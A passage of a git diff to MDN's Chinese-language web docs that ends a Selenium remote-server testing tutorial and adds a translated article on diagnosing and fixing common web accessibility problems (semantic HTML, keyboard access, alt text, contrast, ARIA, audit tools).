自动化测试仪表盘</a> 页面, 你会看到新的进程更新了信息:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14239/sauce_labs_updated_job_info.png" style="border-style: solid; border-width: 1px; display: block; height: 150px; margin: 0px auto; width: 1088px;"></p> + +<h3 id="您自己的远程服务器">您自己的远程服务器</h3> + +<p>如果你不想使用Sauce Labs或BrowserStack之类的服务,你也可以设置自己的远程测试服务器。具体操作如下:</p> + +<ol> + <li>Selenium 的远端服务器要求运行Java,从<a href="http://www.oracle.com/technetwork/java/javase/downloads/index.html"> Java SE下载页面</a>下载适合你平台的最新JDK并安装.</li> + <li>接着, 下载最新的 <a href="http://selenium-release.storage.googleapis.com/index.html">Selenium 单机服务器</a> — 它作为你的脚本和浏览器驱动之间的一个代理. 选择最新的稳定版本 (比如不要选一个 beta版本), 从列表中选择以 "selenium-server-standalone"开头的文件. 下载完成后,放到一个靠谱的地方,比如home目录下. 如果你还没有将位置添加到 <code>PATH</code>, 现在就需要添加了(查看 "在Node中创建 Selenium"章节).</li> + <li>在作为服务器的电脑终端上执行如下代码,安装单机版服务器 + <pre class="brush: bash"><code>java -jar </code>selenium-server-standalone-3.0.0.jar</pre> + (修改 <code>.jar</code> 文件名为你获取的文件名称)</li> + <li>服务会运行在 <code><a href="http://localhost:4444/wd/hub">http://localhost:4444/wd/hub</a></code> — 你可以去试试看是什么效果.</li> +</ol> + +<p>现在服务器运行起来了,让我们在selenium服务器上来创建一个demo测试.</p> + +<ol> + <li>复制 <code>google_test.js</code> 文件, 改名为 <code>google_test_remote.js</code>; 放到工程目录下.</li> + <li>将第二段代码 ( <code>var driver = </code>开头的代码段) 修改如下 + <pre class="brush: js">var driver = new webdriver.Builder() + .forBrowser('firefox') + .usingServer('http://localhost:4444/wd/hub') + .build();</pre> + </li> + <li>运行测试,你会看到它如期执行 ; 只不过这次是在服务器端: + <pre class="brush: bash">node google_test_remote.js</pre> + </li> +</ol> + +<p>是不是很酷. 我们是在本地测试的,但你可以任何一台服务器上使用相关的浏览器驱动进行测试,使用相应的URL将你的脚本和服务器连接起来就可以了.</p> + +<h2 id="将selenium和CI工具集成">将selenium和CI工具集成</h2> + +<p>另外,将Selenium同Sauce Labs之类的其它工具集成到持续集成(CI)工具中是很有用的,这意味着你可以通过CI工具来运行测试,只有测试通过才允许提交代码的修改。</p> + +<p>在这里不对这个话题进行深入探讨,但是我们建议你从Travis CI开始 — 这大概是最容易入门的CI工具了,它与GitHub和Node等web工具都有很好的集成。</p> + +<p>作为入门, 可以查看一些例子:</p> + +<ul> + <li><a href="https://docs.travis-ci.com/user/for-beginners">Travis CI for complete beginners</a></li> + <li><a href="https://docs.travis-ci.com/user/languages/javascript-with-nodejs/">Building a Node.js project</a> (with Travis)</li> + <li><a href="https://docs.travis-ci.com/user/sauce-connect/">Using Sauce Labs with Travis CI</a></li> +</ul> + +<h2 id="总结">总结</h2> + +<p>This module should have proven fun, and should have given you enough of an insight into writing and running automated tests for you to get going with writing your own automated tests.</p> + +<p>{{PreviousMenu("Learn/Tools_and_testing/Cross_browser_testing/Automated_testing", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/可访问性/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/可访问性/index.html new file mode 100644 index 0000000000..704f595fb4 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/可访问性/index.html @@ -0,0 +1,624 @@ +--- +title: 解决常见的可访问性问题 +slug: Learn/Tools_and_testing/Cross_browser_testing/可访问性 +tags: + - CSS + - CodingScripting + - HTML + - JavaScript + - 初学者 + - 可访问性 + - 学习 + - 工具 + - 文章 + - 测试 + - 跨浏览器 + - 键盘 +translation_of: Learn/Tools_and_testing/Cross_browser_testing/Accessibility +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> + +<p class="summary">接下来,我们将关注可访问性,提供关于一些常见问题的信息,如何进行简单测试以及如何使用审核/自动化工具来查找可访问性问题。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>熟悉<a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>,和<a href="/en-US/docs/Learn/JavaScript">JavaScript</a>语言; 理解<a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">跨浏览器测试原理</a></td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>能够诊断常见的可访问性问题,并使用适当的工具和技术解决问题。</td> + </tr> + </tbody> +</table> + +<h2 id="什么是可访问性?">什么是可访问性?</h2> + +<p>当我们在web技术的背景下说可访问性时,大多数人立即想到确保残疾人可以使用网站/应用程序,例如:</p> + +<ul> + <li>视障人士使用屏幕阅读器或放大/缩放浏览文本</li> + <li>有运动功能障碍的人使用键盘(或其他非鼠标功能)使用网站。</li> + <li>有听力障碍的人依赖于替代音频/视频内容的文本。</li> +</ul> + +<p>但是,说可访问性仅与残疾人有关是错误的。实际上,可访问性的目的是使你的网站/应用程序在尽可能多的环境中被尽可能多的人使用,而不仅仅是那些使用高性能台式计算机的用户。极端的例子可能包括:</p> + +<ul> + <li>移动端用户</li> + <li>使用其他浏览设备(例如电视,手表等)</li> + <li>使用较旧设备的用户(他们可能没有最新的浏览器)</li> + <li>设备性能不高的用户(他们可能具有较慢的处理器)</li> +</ul> + +<p>在某种程度上,本模块都是关于可访问性的 — 跨浏览器测试可确保你的网站可以被尽可能多的人使用。这篇<a href="https://developer.mozilla.org/zh-CN/docs/Learn/Accessibility/What_is_accessibility">可访问性是什么?</a> 更全面透彻地定义了什么是可访问性。</p> + +<p>也就是说,本文将涵盖跨浏览器和有关残疾人的测试问题以及他们如何使用Web。我们在其他地方已经讨论过其他领域,例如<a href="https://developer.mozilla.org/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#%E5%93%8D%E5%BA%94%E5%BC%8F%E8%AE%BE%E8%AE%A1%E9%97%AE%E9%A2%98">响应式设计问题</a>和<a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Performance_issues">性能</a>。</p> + +<div class="note"> +<p><strong>Note</strong>: 就像Web开发中的许多事情一样,可访问性不是100%的成功或失败可以定义的;对于所有内容而言,几乎不可能实现100%的可访问性,尤其是当站点变得越来越复杂时。我们更多的是通过防御性编码并遵循最佳实践,努力使尽可能多的人可以访问尽可能多的内容。</p> +</div> + +<h2 id="常见可访问性问题">常见可访问性问题</h2> + +<p>在本节中,我们将围绕Web可访问性,详细介绍与特定技术相关的一些主要问题、要遵循的最佳实践,以及可以进行的一些快速测试,以查看你的网站是否朝着正确的方向发展。</p> + +<div class="note"> +<p><strong>Note</strong>: 可访问性在道德上是正确的事情,对企业也有好处(残疾用户,移动用户等构成了重要的细分市场), 并且在世界许多地方,提供出来的网络媒体资源无法为残疾人服务也是违法的。阅读<a href="https://developer.mozilla.org/zh-CN/docs/Learn/Accessibility/What_is_accessibility#%E6%97%A0%E9%9A%9C%E7%A2%8D%E6%8C%87%E5%8D%97%E5%92%8C%E6%B3%95%E5%BE%8B">无障碍指南和法律</a>获取更多相关信息。</p> +</div> + +<h3 id="HTML">HTML</h3> + +<p>HTML语义化 (语义化正确地使用HTML标签)对于可访问性来说是开箱即用的 — 这类内容可供无视障人士阅读(前提是你不会做任何愚蠢的事情,例如使文本变小或使用CSS隐藏它),也可被屏幕阅读器(从字面上读出网页的应用)之类的辅助技术使用,并赋予其他优势。</p> + +<h4 id="语义化结构">语义化结构</h4> + +<p>HTML语义化最重要的捷径是为你的内容使用标题和段落的结构;这是因为屏幕阅读器用户倾向于将文档标题用作导航,以更快地找到他们需要的内容。如果你的内容没有标题,那么他们将获得的是一大坨文字,没有任何可定位的标记。坏的例子和好的例子如下:</p> + +<pre class="brush: html example-bad"><font size="7">My heading</font> +<br><br> +This is the first section of my document. +<br><br> +I'll add another paragraph here too. +<br><br> +<font size="5">My subheading</font> +<br><br> +This is the first subsection of my document. I'd love people to be able to find this content! +<br><br> +<font size="5">My 2nd subheading</font> +<br><br> +This is the second subsection of my content. I think is more interesting than the last one.</pre> + +<pre class="brush: html example-good"><h1>My heading</h1> + +<p>This is the first section of my document.</p> + +<p>I'll add another paragraph here too.</p> + +<h2>My subheading</h2> + +<p>This is the first subsection of my document. I'd love people to be able to find this content!</p> + +<h2>My 2nd subheading</h2> + +<p>This is the second subsection of my content. I think is more interesting than the last one.</p></pre> + +<p>此外,你的内容应该在逻辑顺序上讲得通的 — 你总能在以后再为它们写CSS,但你应该在一开始就确定内容正确的顺序。</p> + +<p>作为测试,你可以关闭网站的CSS,然后看看没有了CSS网站是否能被理解。你可以通过从代码中删除CSS来手动完成此操作,但是最简单的方法是使用浏览器功能,例如:</p> + +<ul> + <li>Firefox: 选择<em>查看 > 页面样式 > 无样式</em></li> + <li>Safari: 选择<em>开发 > 停用样式</em> (需要开启“开发”菜单, 点击<em>Safari > 偏好设置 > 高级 > 在菜单栏中显示“开发”菜单</em>)</li> + <li>Chrome: 安装Web Developer Toolbar扩展程序, 然后重启浏览器。点击图标,选择<em>CSS > 停用所有样式</em></li> + <li>Edge: 选择<em>查看 > 样式 > 无样式</em></li> +</ul> + +<h4 id="使用键盘">使用键盘</h4> + +<p>某些HTML功能可以使用键盘来选择 — 这是默认的,从早期web开始就是这样的。具有此功能的元素是允许用户与网页交互的常见元素,比如links, {{htmlelement("button")}}s, 以及表单元素,比如{{htmlelement("input")}}.</p> + +<p>浏览<a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">native-keyboard-accessibility.html</a> (查看<a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">源码</a>) 尝试一下— 在新标签页中打开它,然后尝试按Tab键;按下几下后,你应该看到标签焦点开始在不同的可聚焦元素之间移动;在每个浏览器中,被聚焦的元素都被赋予突出的默认样式 (不同的浏览器表现略有不同) 以便你能分辨聚焦在哪个元素上。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14215/button-focused-unfocused.png" style="border-style: solid; border-width: 1px; display: block; height: 39px; margin: 0px auto; width: 288px;"></p> + +<p>然后,你可以按Enter / Return键来关注焦点链接,或者按一个按钮(我们已经包含一些JavaScript来使按钮提醒消息),或者在输入框开始输入文本,(其他表单元素具有不同的控件,例如{{htmlelement("select")}}元素可以使用向上和向下箭头键显示和循环显示其选项)。</p> + +<p>请注意,不同的浏览器可能具有不同的键盘控制选项。大多数现代浏览器都遵循上述的标签模式(你也可以执行Shift + Tab来向后移动可聚焦元素),但是某些浏览器具有自己的特性:</p> + +<ul> + <li>Firefox for the Mac doesn't do tabbing by default. To turn it on, you have to go to <em>Preferences > Advanced > General</em>, then uncheck "Always use the cursor keys to navigate within pages". Next, you have to open your Mac's System Preferences app, then go to <em>Keyboard > Shortcuts</em>, then select the <em>All Controls</em> radio button.</li> + <li>Safari默认情况下不允许你按tab遍历链接;要启用此功能,你需要打开Safari的“<em>偏好设置</em>”,转到“<em>高级</em>”,然后选中“<em>按下Tab键以高亮显示网页上的每一项</em>”。</li> +</ul> + +<div class="warning"> +<p><strong>重要</strong>: 你应该在所写的任何新页面上执行这种测试 — 确保可以通过键盘使用功能。</p> +</div> + +<p>这个例子强调了正确使用语义元素的重要性。可以用CSS将任何元素的样式设置为看起来像链接或按钮,并使用JavaScript让其表现为像链接或按钮一样,但实际上它们不是链接或按钮,你将失去很多语义化元素带给你的可访问性。因此,尽量避免这样做。</p> + +<p>另一个技巧 — 如我们的示例所示,你可以使用<a href="/zh-CN/docs/Web/CSS/:focus">:focus</a>伪类控制可聚焦元素在聚焦时的外观。最好将焦点和悬停样式加重显示,这样无论是使用鼠标还是键盘的用户,都能直观地察觉控件在被激活时将执行的操作</p> + +<pre class="brush: css">a:hover, input:hover, button:hover, select:hover, +a:focus, input:focus, button:focus, select:focus { + font-weight: bold; +}</pre> + +<div class="note"> +<p><strong>Note</strong>: 如果你决定使用CSS删除默认的焦点样式,请确保将其替换为更适合你的设计的其他样式 — 这是一种非常有价值的可访问性工具,不应删除。</p> +</div> + +<h4 id="模拟键盘">模拟键盘</h4> + +<p>有时可能无法使用键盘完成可访问性。你可能有一个语义不是很好的网站(也许你最终得到了一个糟糕的CMS网页,该CMS生成了由<div> 组成的按钮),或者你正在使用一个没有内置键盘可访问性的复杂控件,例如HTML5 {{htmlelement("video")}} 元素(令人惊奇的是,Opera是唯一允许你在<video>元素的默认浏览器控件之间进行制表的浏览器)。你有几种选择:</p> + +<ol> + <li>使用<button>元素(默认情况下都是可以在button间使用Tab键)和JavaScript创建自定义控件,以连接其功能。有关此示例,请参见<a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Audio_and_video_delivery/cross_browser_video_player">Creating a cross-browser video player</a>。</li> + <li>通过JavaScript创建键盘快捷键,因此当你按键盘上的某些键时,功能被激活。请参阅<a href="/en-US/docs/Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard">Desktop mouse and keyboard controls</a>,以获取一些可用于任何目的(比如游戏)的例子。</li> + <li>使用一些有趣的策略来伪造按钮行为。以我们的<a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">fake-div-buttons.html</a>示例为例(<a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">查看源码</a>)。这里我们通过为每个假按钮赋予属性<code>tabindex="0"</code>(请参阅WebAIM的<a href="http://webaim.org/techniques/keyboard/tabindex">tabindex文章</a>以获取更多详细信息),使假的<div>按钮能够被聚焦(包括通过制表符)。这使我们可以跳到按钮上,但不能通过回车键激活它们。为此,我们必须添加以下JavaScript代码: + <pre class="brush: js">document.onkeydown = function(e) { + if(e.keyCode === 13) { // The Enter/Return key + document.activeElement.onclick(e); + } +};</pre> + 在这里,我们向<code>document</code>对象添加了一个监听器,以检测何时按下了键盘上的按钮。我们通过事件对象的keyCode属性检查按下了什么按钮;如果它是与回车键匹配的键码,则使用<code>document.activeElement.onclick()</code>运行存储在按钮的onclick处理程序中的函数。<code>document.activeElement</code>为我们提供了当前页面上被聚焦的元素。</li> +</ol> + +<div class="note"> +<p><strong>Note</strong>: 仅当你通过事件处理程序属性(例如<code>onclick</code>)设置原始事件处理程序时,此技术才有效。<code>addEventListener</code>将无法正常工作。重新构建功能会有很多额外的麻烦。并且肯定还有其他问题。最好能从根源解决问题,使用正确的语义化元素。</p> +</div> + +<h4 id="替代文本">替代文本</h4> + +<p>替代文本对于可访问性非常重要 — 如果一个人有视觉或听觉障碍使他们无法看到或听到某些内容,那么这就是一个问题。可用的最简单的文本替代方法是<code>alt</code>属性,我们应该在所有包含相关内容的图像上包括该属性。其中应包含对图像的描述,该描述可在页面上成功传达其含义和内容,并由屏幕阅读器读取并读出给用户。</p> + +<div class="note"> +<p><strong>Note</strong>: 更多信息请阅读<a href="https://developer.mozilla.org/zh-CN/docs/learn/Accessibility/HTML:%E4%B8%BA%E5%8F%AF%E8%AE%BF%E9%97%AE%E6%80%A7%E6%8F%90%E4%BE%9B%E4%B8%80%E4%B8%AA%E8%89%AF%E5%A5%BD%E7%9A%84%E5%9F%BA%E7%A1%80#%E6%96%87%E6%9C%AC%E6%9B%BF%E4%BB%A3%E5%93%81">Text alternatives</a></p> +</div> + +<p>可以通过多种方法来测试缺少的替代文本,例如,使用可访问性{{anch("审计工具")}}。</p> + +<p>对于视频和音频内容,Alt文本稍微复杂一些。有一种方法可以定义文本轨道(例如,字幕)并在播放视频时以{{htmlelement("track")}}元素和<a href="/zh-CN/docs/Web/API/WebVTT_API">WebVTT</a>格式的形式显示它们(请参见<a href="/zh-CN/docs/Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a>以获取详细信息)。这些功能的<a href="/zh-CN/docs/Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video#%E6%B5%8F%E8%A7%88%E5%99%A8%E5%85%BC%E5%AE%B9">浏览器兼容性</a>相当好,但是如果你想提供音频的替代文本或支持较旧的浏览器,则在页面某处或单独页面上显示一个简单的文本记录可能是个好主意。</p> + +<h4 id="元素关系和上下文">元素关系和上下文</h4> + +<p>HTML中有某些功能和最佳实践,旨在提供元素之间的上下文和关系。三个最常见的示例是链接,表单标签和数据表。</p> + +<p>使用屏幕阅读器的人们通常会使用一项共同的功能,即他们会拉出页面上所有链接的列表。在这种情况下,链接文本需要脱离上下文。例如,标记为“单击此处”,“单击此处”等的链接列表确实对可访问性不利。链接文本最好在上下文和上下文之外都有意义。</p> + +<p>表单{{htmlelement("label")}}元素是允许我们使表单可访问的主要功能之一。表单的麻烦在于,你需要标签来说明应在每个表单输入中输入哪些数据。每个标签都必须包含在{{htmlelement("label")}}内,以将其明确链接到其对应的表单输入框(属性值的每个<code><label></code>的<code>for</code>属性值必须与表单元素<code>id</code>值匹配),即使源顺序不是完全合乎逻辑的,也能提供很好的可访问性。</p> + +<div class="note"> +<p><strong>Note</strong>: 更多关于链接文本和表单标签,请阅读<a href="/zh-CN/docs/learn/Accessibility/HTML:%E4%B8%BA%E5%8F%AF%E8%AE%BF%E9%97%AE%E6%80%A7%E6%8F%90%E4%BE%9B%E4%B8%80%E4%B8%AA%E8%89%AF%E5%A5%BD%E7%9A%84%E5%9F%BA%E7%A1%80#%E6%9C%89%E6%84%8F%E4%B9%89%E7%9A%84%E6%96%87%E5%AD%97%E6%A0%87%E7%AD%BE">有意义的文字标签</a></p> +</div> + +<p>最后,简要介绍一下数据表。基本数据表可以用非常简单的标记编写(请参阅<a href="http://mdn.github.io/learning-area/accessibility/html/bad-table.html">bad-table.html</a>和<a href="https://github.com/mdn/learning-area/blob/master/accessibility/html/bad-table.html">源码</a>)),但这存在问题 — 屏幕阅读器用户无法将行或列作为数据分组关联在一起,但你需要知道标题行是什么,以及标题行行的标题还是列的标题等。这些只能从可视化的表格才能知道。</p> + +<p>相反,如果你看一下我们的<code>punk-bands-complete.html</code>示例(<a href="https://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">示例</a>,<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-complete.html">源码</a>),则可以在此处看到一些可访问性辅助,例如表头({{htmlelement("th")}}和<code>作用域</code>属性),{{htmlelement("caption")}}元素等。</p> + +<div class="note"> +<p><strong>Note</strong>: 更多信息,请阅读<a href="/zh-CN/docs/learn/Accessibility/HTML:%E4%B8%BA%E5%8F%AF%E8%AE%BF%E9%97%AE%E6%80%A7%E6%8F%90%E4%BE%9B%E4%B8%80%E4%B8%AA%E8%89%AF%E5%A5%BD%E7%9A%84%E5%9F%BA%E7%A1%80#%E5%8F%AF%E8%AE%BF%E9%97%AE%E7%9A%84%E8%A1%A8%E6%A0%BC">可访问的表格</a></p> +</div> + +<h3 id="CSS">CSS</h3> + +<p>CSS往往提供的基本可访问性功能要比HTML少得多,但是如果使用不当,它仍然会对可访问性造成同样的损害。下面是一些涉及CSS的可访问性的点:</p> + +<ul> + <li>使用正确的语义元素修饰HTML中的不同内容;如果要创建不同的视觉效果,请使用CSS-不要滥用HTML元素来获得所需的外观。例如,如果你想要更大的文本,请使用{{cssxref("font-size")}},而不是{{htmlelement("h1")}}标签。</li> + <li>确保内容顺序在没有CSS的情况下有意义;你可以随时使用CSS设置页面样式。</li> + <li>你应该确保按钮和链接之类的交互元素具有适当的聚焦/悬停/活动状态设置,以便用户能姨一目了然。如果出于风格原因删除默认设置,请确保包括一些替代的样式。</li> +</ul> + +<p>还有其他几个需要注意的地方。</p> + +<h4 id="颜色和颜色对比度">颜色和颜色对比度</h4> + +<p>为你的网站选择配色方案时,应确保文本(前景)颜色与背景颜色形成鲜明对比。你的设计可能看起来很酷,但是如果视力障碍者(例如色盲)无法阅读你的内容,那就不好了。使用WebAIM的<a href="http://webaim.org/resources/contrastchecker/">Color Contrast Checker</a>之类的工具来检查你的方案是否有足够对比度。</p> + +<p>另一个提示是不要仅依靠颜色来表示界标/信息,因为这对于看不见颜色的人来说是不好的。例如,不要将所需的表单字段标记为红色,而应使用星号和红色标记它们。</p> + +<div class="note"> +<p><strong>Note</strong>: 高对比度也可以让使用带有光滑屏幕的设备(例如智能手机或平板电脑)的人在明亮的环境(例如阳光)下可以更好地阅读页面。</p> +</div> + +<h4 id="隐藏的内容">隐藏的内容</h4> + +<p>在许多情况下,视觉设计要求并非一次显示所有内容。例如,在我们的<a href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html">Tabbed info box example</a>“示例(查看<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">源码</a>)中,我们有三个信息面板,但是我们将它们放在彼此的顶部,用户可以通过单击以显示每个选项卡(也可以通过键盘访问 — 可以使用Tab键和回车键选择它们)。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13368/tabbed-info-box.png" style="display: block; height: 400px; margin: 0px auto; width: 450px;"></p> + +<p>屏幕阅读器用户根本不关心这些,只要源内容顺序有意义,他们就很满意,并且他们可以全部获取。绝对定位(在本示例中使用的定位)通常被视为隐藏内容以产生视觉效果的最佳机制之一,因为它不会阻止屏幕阅读器获取相关内容。</p> + +<p>另一方面,你不应该使用{{cssxref("visibility")}}<code>:hidden</code>或者{{cssxref("display")}}<code>:none</code>, 因为它们会让屏幕阅读器取不到那些内容,除非你真的想让屏幕阅读器不读取那些内容。</p> + +<div class="note"> +<p><strong>Note</strong>: <span class="subtitle"><a href="http://webaim.org/techniques/css/invisiblecontent/">Invisible Content Just for Screen Reader Users</a>有更多关于这个话题的详细信息</span></p> +</div> + +<h3 id="JavaScript">JavaScript</h3> + +<p>就可访问性而言,JavaScript具有与CSS相同的问题 — 如果使用不当或使用过度,可访问性可能会很糟糕。我们已经提到了与JavaScript相关的一些可访问性问题,主要是在HTML语义化那块 — 你应该始终使用适当的语义化HTML来在合适的地方实现功能,例如,适当地使用链接和按钮。尽量不要使用JavaScript代码中结合<code><div></code>元素来伪造功能 — 容易出错,并且比直接使用HTML标签还要做更多的工作。</p> + +<h4 id="简单的功能">简单的功能</h4> + +<p>通常,简单的功能只应使用HTML标签完成 — JavaScript仅用于增强功能,而不能用于实现简单功能。好的JavaScript用法包括:</p> + +<ul> + <li>提供客户端表单验证,可在不等待服务器检查数据的情况下,迅速向用户发出有关表单条目问题的警报。如果不能在客户端验证,则该表格仍然可以使用,但验证速度可能会较慢。</li> + <li>提供全键盘用户可访问的HTML5 <code><video></code>的自定义控件(如我们之前所述,默认浏览器视频控件在大多数浏览器中均无法通过键盘访问)。</li> +</ul> + +<div class="note"> +<p><strong>Note</strong>: WebAIM的<a href="http://webaim.org/techniques/javascript/">Accessible JavaScript</a>提供了一些关于JavaScript可访问性注意事项的信息。</p> +</div> + +<p>更复杂的JavaScript实现可能会带来可访问性问题 — 你需要尽力而为。例如,期望让使用WebGL编写的复杂3D游戏对盲人来说100%可访问性是不合理的,但是你可以实现键盘控件,以便非鼠标用户可以使用它,并使配色方案具有足够的对比度供有颜色分辨障碍的人使用。</p> + +<h4 id="复杂的功能">复杂的功能</h4> + +<p>可访问性存在问题的主要领域之一是复杂的应用程序,其中涉及复杂的表单控件(例如日期选择器)和动态内容,内容会经常增量更新。</p> + +<p>非自带的复杂的表单控件可能会存在问题,因为它们往往涉及大量嵌套的<code><div></code>,浏览器默认情况下不知道如何处理它们。如果你自己开发控件,则需要确保它们可以通过键盘访问。如果你使用的是某种第三方框架,请在开始使用之前仔细检查可用的选项以了解它们是否具有完备的可访问性。例如,Bootstrap就对可访问性有相当好的支持(尽管Rhiana Heath的<span class="l-d-i l-pa2 t-bg-white"><a href="https://www.sitepoint.com/making-bootstrap-accessible/">Making Bootstrap a Little More Accessible</a></span>探讨了它的一些问题(主要与色彩对比度有关),并着眼于一些解决方案)。</p> + +<p>定期更新的动态内容可能会成为问题,因为屏幕阅读器用户可能会错过这些内容,尤其是在意外更新的情况下。如果你有一个包含主要内容面板的单页应用程序,该应用程序使用<a href="/zh-CN/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>或<a href="/zh-CN/docs/Web/API/Fetch_API">Fetch</a>定期更新,那么屏幕阅读器用户可能会错过这些更新。</p> + +<h4 id="WAI-ARIA">WAI-ARIA</h4> + +<p>你是否需要使用这种复杂的功能,或者使用普通的旧语义化HTML代替?如果确实需要复杂性,则应考虑使用<a href="https://www.w3.org/TR/wai-aria-1.1/">WAI-ARIA</a>(Accessible Rich Internet Applications - 可访问的互联网应用),该规范为诸如复杂的表单控件和更新面板之类的项目提供了语义(以新的HTML属性形式),这样大部分浏览器和屏幕阅读器就能理解内容。</p> + +<p>要处理复杂的表单窗口小部件,你需要使用ARIA属性(例如<code>roles</code>)来声明窗口小部件中不同元素的角色(例如,它们是选项卡还是选项卡面板?),用<code>aria-disabled</code>来表示控件是否禁用等。</p> + +<p>要处理内容定期更新的区域,可以使用<code>aria-live</code>属性,该属性标识更新区域。它的值指示屏幕阅读器如何处理更新内容:</p> + +<ul> + <li><code>off:</code> 默认值。更新内容不被读出。</li> + <li><code>polite</code>: 当用户空闲时读出更新内容。</li> + <li><code>assertive</code>: 尽快读出更新内容。</li> + <li><code>rude</code>: 直接读出更新内容,即使会打断用户正常阅读。</li> +</ul> + +<p>例子如下:</p> + +<pre class="brush: html"><p><span id="LiveRegion1" aria-live="polite" aria-atomic="false"></span></p></pre> + +<p>浏览Freedom Scientific的<a href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm">ARIA (Accessible Rich Internet Applications)动态更新区域</a>示例 — 高亮显示的段落每10秒更新一次内容,屏幕阅读器应将此内容读出给用户。<a href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegionsAtomic.htm">ARIA Live Regions - Atomic</a>是另一个很有用的例子。</p> + +<p>我们这里没有足够的空间来详细介绍WAI-ARIA,你可以在<a href="/zh-CN/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a>了解更多。</p> + +<h2 id="可访问性测试工具">可访问性测试工具</h2> + +<p>现在,我们已经介绍了不同Web技术的可访问性注意事项,包括一些测试方法(例如键盘导航和颜色对比度检查器),让我们看一下在进行可访问性测试时可以使用的其他工具。</p> + +<h3 id="审计工具">审计工具</h3> + +<p>你可以使用许多审计工具检查你的网页,这些审计工具将检查它们并返回页面上存在的可访问性问题列表。一些审计工具:</p> + +<ul> + <li><a href="https://tenon.io">Tenon</a>: 一个相当不错的在线应用程序,它通过提供的URL遍历代码,并返回有关可访问性错误的结果,包括度量标准,特定错误以及它们影响的WCAG标准以及建议的修复方式。</li> + <li><a href="http://khan.github.io/tota11y/">tota11y</a>: Khan Academy的可访问性工具,采用JavaScript库的形式,你可以将其附加到页面上,以提供许多可访问性工具。</li> + <li><a href="http://wave.webaim.org/">Wave</a>: 另一个在线可访问性测试工具,它接受网址并返回该页面带注释的视图,其中高亮显示了可访问性问题。</li> +</ul> + +<p>看下面的例子,我们用的是Tenon。</p> + +<ol> + <li>访问<a href="https://tenon.io">Tenon主页</a>。</li> + <li>使用<a href="http://mdn.github.io/learning-area/accessibility/html/bad-semantics.html">bad-semantics.html</a>示例测试,输入链接地址并按下<em>Analyse Your Webpage(译者注:开始分析你的网页)。</em></li> + <li>下滑,直到你看到错误/描述部分,如下图。</li> +</ol> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14217/tenon-screenshot.png" style="border-style: solid; border-width: 1px; display: block; height: 593px; margin: 0px auto; width: 870px;"></p> + +<p>你还可以探索一些选项(请参阅页面顶部附近的<em>Show Options(译者注:显示选项)</em>链接),或者使用Tenon的API。</p> + +<div class="note"> +<p><strong>Note</strong>: 这些工具不足以单独解决你的所有可访问性问题。你需要将这些,知识和经验,用户测试等结合起来才能获得完整的解决方案。</p> +</div> + +<h3 id="自动化工具">自动化工具</h3> + +<p><a href="https://www.deque.com/products/axe/">Deque's aXe tool</a>比我们上面提到的审计工具更优秀。和其他工具一样,它检查页面并返回可访问性错误。它很有用,可以提供浏览器扩展程序:</p> + +<ul> + <li><a href="http://bitly.com/aXe-Chrome">aXe for Chrome</a></li> + <li><a href="http://bit.ly/aXe-Firefox">aXe for Firefox</a></li> +</ul> + +<p>扩展程序将可访问性选项卡添加到浏览器开发人员工具。例如,我们安装了Firefox版本,然后使用它来审核<a href="http://mdn.github.io/learning-area/accessibility/html/bad-table.html">bad-table.html</a>示例。我们得到以下结果:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14213/aXe-screenshot.png" style="display: block; height: 580px; margin: 0px auto; width: 800px;"></p> + +<p>aXe也可以使用<code>npm</code>安装,并且可以与任务运行器(如<a href="http://gruntjs.com/">Grunt</a> 和<a href="http://gulpjs.com/">Gulp</a>),自动化框架(如<a href="http://www.seleniumhq.org/">Selenium</a>和<a href="https://cucumber.io/">Cucumber</a>),单元测试框架(如<a href="http://jasmine.github.io/">Jasmin</a>)集成,以及更多其他功能(详见<a href="https://www.deque.com/products/axe/">main aXe page</a> )。</p> + +<h3 id="屏幕阅读器">屏幕阅读器</h3> + +<p>为了了解有严重视力障碍的人是如何浏览网页的,我们需要测试屏幕阅读器。有几款屏幕阅读器:</p> + +<ul> + <li>有些是付费产品,比如<a href="http://www.freedomscientific.com/Products/Blindness/JAWS">JAWS</a> (Windows) 和<a href="http://www.gwmicro.com/window-eyes/">Window Eyes</a> (Windows).</li> + 